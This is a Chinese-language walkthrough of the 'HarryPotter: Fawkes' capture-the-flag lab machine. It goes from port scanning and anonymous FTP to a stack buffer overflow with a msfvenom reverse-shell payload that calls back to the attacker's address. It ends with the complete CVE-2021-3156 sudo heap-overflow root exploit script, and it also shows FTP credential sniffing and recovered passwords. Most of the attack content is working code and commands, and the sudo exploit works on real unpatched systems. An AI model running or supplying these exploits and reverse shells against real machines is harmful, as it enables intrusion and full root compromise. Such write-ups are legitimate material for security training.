HARRYPOTTER: FAWKES

攻击机

192.168.223.128

目标机192.168.223.143

主机发现

nmap -sP 192.168.223.0/24

端口扫描

nmap -sV -p- -A 192.168.223.143

开启了21 22 80 2222 9898 五个端口，其中21端口可以匿名FTP登录，好像有点说法,百度搜索一下发现可以用anonymous登录，尝试一下

ftp连接方式是ftp IP

ftp 192.168.223.143
用户名anonymous
密码随便输

可以看到有个server_hogwarts文件

get到本地

get server_hogwarts

看一下是什么文件

vim打开文件头有一个ELF，应该是一个可执行文件，用file看一下，果然是。

运行一下试试，发现没有权限，赋个权

没反应，一直在后台运行

用ps看一下后台程序

ps用法
ps aux: 显示当前用户的所有进程信息
ps aux | grep <进程名>: 通过进程名过滤查看特定进程的信息

其他查看后台程序还可以用pgrep,top,htop,jobs,pstree

ps aux | grep server_hogwarts

只能看到程序在运行，好像没什么用

ss -pantu | grep server_hogwarts

可以查看当前系统上网络连接的情况

连接了9898端口，这个端口我们在扫描端口时候发现，是monkeycom服务

既然是本地文件执行，我们本地开个监听端口看看这个服务是什么

nc 127.0.0.1 9898

好像pwn题

随便输入了一下好像不太行

感觉像缓冲区溢出漏洞

用edb-debugger动调看看吧

首先关闭kali的ALSR

echo 0 >/proc/sys/kernel/randomize_va_space

edb打开调试界面

连接一下

我不会汇编，看了别人的wp跟着一步步看一步步学

点击这个开始进程

想找到缓冲区溢出漏洞，需要填充大量数据找到溢出位置

先用python生成500个A

python
print('A'*500)

将500个A填入输入位置，发现了报错

提示0×41414141的内存位置出现了错误，说明这里就是溢出报错位置，点击ok具体查看

在x86架构的汇编语言中，EIP（Extended Instruction Pointer）是一个32位寄存器，用于存储下一条即将执行的指令的地址。EIP指向当前正在执行的指令的下一条指令，因此它起到了指令流的控制作用。ESP是存储具体指令的作用，但是这里ESP被A覆盖了。

那么就可以通过修改EIP，使指令跳转到目标ESP

但是现在还没有找到缓存区溢出的位置，现在通过传入不相同的垃圾数据找到溢出位置

使用msf-pattern_create生成500个不同字符串

msf-pattern_create -l 500

将垃圾数据填入重新调试

现在是0×64413764有问题

用msf-pattern_offset找到这个内存位置在输入区的位置

msf-pattern_offset -l 500 -q 64413764

偏移量是112，那么0x64413764就在第113个位置。

现在还需要找到EIP的写入地址，使得ESP只想EIP，这样就能执行到EIP的指令了。

见如下操作

选择ESP-EIP 的跳转，并且有读和执行权限的

这个jmp esp就是跳转地址

0x08049455，机器码是反写的，所以实际地址是0x55 0x9d 0x04 0x08这个就是跟在112条垃圾数据后满的地址，即ESP 的内容，接下里是要执行的指令。

用msfvenom来生成一串python的十六进制payload来反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.223.128 LPORT=4567 -b "\x00" -f python

抄个python脚本

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"
 
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('192.168.223.143',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

执行payload，拿到shell

可以看到一个隐藏txt文件

应该是一个密码HarrYp0tter@Hogwarts123

ssh连接一下Harry看看，发现连不上，想到之前扫描端口的时候还有个2222端口开启了ssh服务

连接一下2222端口，连接成功

ssh [email protected] -p 2222

看到主机名字可以认出这是一个docker服务

sudo -l发现执行权限是所有人

直接sudo -s提升到root权限

---

sudo -s 是在 Linux 系统中使用 sudo 命令来启动一个新的 shell 进程，并将该 shell 进程的用户权限提升为超级用户（root）

---

sudo -s

成功拿到第一个flag

看一下note有啥

这句话让我们分析FTP上面的流量

先查一下有什么网卡

ip a

eth0网卡

流量分析

tcpdump -i eth0 port 21

在三次握手包发现账号密码 neville/bL!Bsg3k,用ssh连接一下,这里22端口连接成功

ssh [email protected] 

拿到第二个flag

接下来最终提权，这里用到一个CVE-2021-3156，是一个基于堆的缓冲区溢出漏洞

因为sudo版本是1.8.27

exp

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 (github.com)

靶机的sudo目录是/usr/local/bin/sudo 而exp是/usr/bin/sudo所以修改一下exp

#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
 
SUDO_PATH = b"/usr/local/bin/sudo"
 
libc = cdll.LoadLibrary("libc.so.6")
 
# don't use LC_ALL (6). it override other LC_
LC_CATS = [
	b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
	b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
	b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]
 
def check_is_vuln():
	# below commands has no log because it is invalid argument for both patched and unpatched version
	# patched version, error because of '-s' argument
	# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
	r, w = os.pipe()
	pid = os.fork()
	if not pid:
		# child
		os.dup2(w, 2)
		execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
		exit(0)
	# parent
	os.close(w)
	os.waitpid(pid, 0)
	r = os.fdopen(r, 'r')
	err = r.read()
	r.close()
	
	if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
		return True
	assert err.startswith('usage: ') or "invalid mode flags " in err, err
	return False
 
def create_libx(name):
	so_path = 'libnss_'+name+'.so.2'
	if os.path.isfile(so_path):
		return  # existed
	
	so_dir = 'libnss_' + name.split('/')[0]
	if not os.path.exists(so_dir):
		os.makedirs(so_dir)
	
	import zlib
	import base64
 
	libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
	with open(so_path, 'wb') as f:
		f.write(zlib.decompress(base64.b64decode(libx_b64)))
	#os.chmod(so_path, 0o755)
 
def check_nscd_condition():
	if not os.path.exists('/var/run/nscd/socket'):
		return True # no socket. no service
	
	# try connect
	import socket
	sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
	try:
		sk.connect('/var/run/nscd/socket')
	except:
		return True
	else:
		sk.close()
 
	with open('/etc/nscd.conf', 'r') as f:
		for line in f:
			line = line.strip()
			if not line.startswith('enable-cache'):
				continue # comment
			service, enable = line.split()[1:]
			# in fact, if only passwd is enabled, exploit with this method is still possible (need test)
			# I think no one enable passwd but disable group
			if service == 'passwd' and enable == 'yes':
				return False
			# group MUST be disabled to exploit sudo with nss_load_library() trick
			if service == 'group' and enable == 'yes':
				return False
			
	return True
 
def get_libc_version():
	output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
	for line in output.split('\n'):
		if line.startswith('ldd '):
			ver_txt = line.rsplit(' ', 1)[1]
			return list(map(int, ver_txt.split('.')))
	return None
 
def check_libc_version():
	version = get_libc_version()
	assert version, "Cannot detect libc version"
	# this exploit only works which glibc tcache (added in 2.26)
	return version[0] >= 2 and version[1] >= 26
 
def check_libc_tcache():
	libc.malloc.argtypes = (c_int,)
	libc.malloc.restype = c_void_p
	libc.free.argtypes = (c_void_p,)
	# small bin or tcache
	size1, size2 = 0xd0, 0xc0
	mems = [0]*32
	# consume all size2 chunks
	for i in range(len(mems)):
		mems[i] = libc.malloc(size2)
		
	mem1 = libc.malloc(size1)
	libc.free(mem1)
	mem2 = libc.malloc(size2)
	libc.free(mem2)
	for addr in mems:
		libc.free(addr)
	return mem1 != mem2
 
def get_service_user_idx():
	'''Parse /etc/nsswitch.conf to find a group entry index
	'''
	idx = 0
	found = False
	with open('/etc/nsswitch.conf', 'r') as f:
		for line in f:
			if line.startswith('#'):
				continue # comment
			line = line.strip()
			if not line:
				continue # empty line
			words = line.split()
			if words[0] == 'group:':
				found = True
				break
			for word in words[1:]:
				if word[0] != '[':
					idx += 1
			
	assert found, '"group" database is not found. might be exploitable but no test'
	return idx
 
def get_extra_chunk_count(target_chunk_size):
	# service_user are allocated by calling getpwuid()
	# so we don't care allocation of chunk size 0x40 after getpwuid()
	# there are many string that size can be varied
	# here is the most common
	chunk_cnt = 0
	
	# get_user_info() -> get_user_groups() ->
	gids = os.getgroups()
	malloc_size = len("groups=") + len(gids) * 11
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0  # minimum size is 0x20. don't care here
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# host=  (unlikely)
	# get_user_info() -> sudo_gethostname()
	import socket
	malloc_size = len("host=") + len(socket.gethostname()) + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	
	# simply parse "networks=" from "ip addr" command output
	# another workaround is bruteforcing with number of 0x70
	# policy_open() -> format_plugin_settings() ->
	# a value is created from "parse_args() -> get_net_ifs()" with very large buffer
	try:
		import ipaddress
	except:
		return chunk_cnt
	cnt = 0
	malloc_size = 0
	proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
	for line in proc.stdout:
		line = line.strip()
		if not line.startswith('inet'):
			continue
		if cnt < 2: # skip first 2 address (lo interface)
			cnt += 1
			continue;
		addr = line.split(' ', 2)[1]
		mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
		malloc_size += addr.index('/') + 1 + len(mask)
		cnt += 1
	malloc_size += len("network_addrs=") + cnt - 3 + 1
	chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
	if chunk_size == target_chunk_size: chunk_cnt += 1
	proc.wait()
	
	return chunk_cnt
 
def execve(filename, argv, envp):
	libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
	
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(envp))(*envp)
 
	libc.execve(filename, cargv, cenvp)
 
def lc_env(cat_id, chunk_len):
	name = b"C.UTF-8@"
	name = name.ljust(chunk_len - 0x18, b'Z')
	return LC_CATS[cat_id]+b"="+name
 
 
assert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")
 
# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
 
TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]  # remove last '\\'. stop overwritten
 
CHUNK_CMND_SIZE = 0xf0
 
# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
 
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
 
# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):
	# skip LC_ALL (6)
	env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:
	env.append(lc_env(2, 0x20)) # for filling hole
 
for i in range(11, 11-extra_chunk_cnt, -1):
	env.append(lc_env(i, CHUNK_CMND_SIZE))
 
env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:")  # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)
 
execve(SUDO_PATH, argv, env)

用scp传到靶机

scp exp.py [email protected]:~

执行拿到root权限，进而拿到第三个flag

chmod +x exp.py
./exp.py

总结：

1.ftp匿名登录拿到ELF文件

2.本地edb动调，缓冲区溢出漏洞，计算偏移量，找ESP跳转地址，msfvenom生成反弹shell字节，编写py脚本拿到shell

3.2222端口连接，sudo -s提升root权限

4.FTP流量分析，拿到账号密码连接ssh

5.sudo CVE-2021-3156提权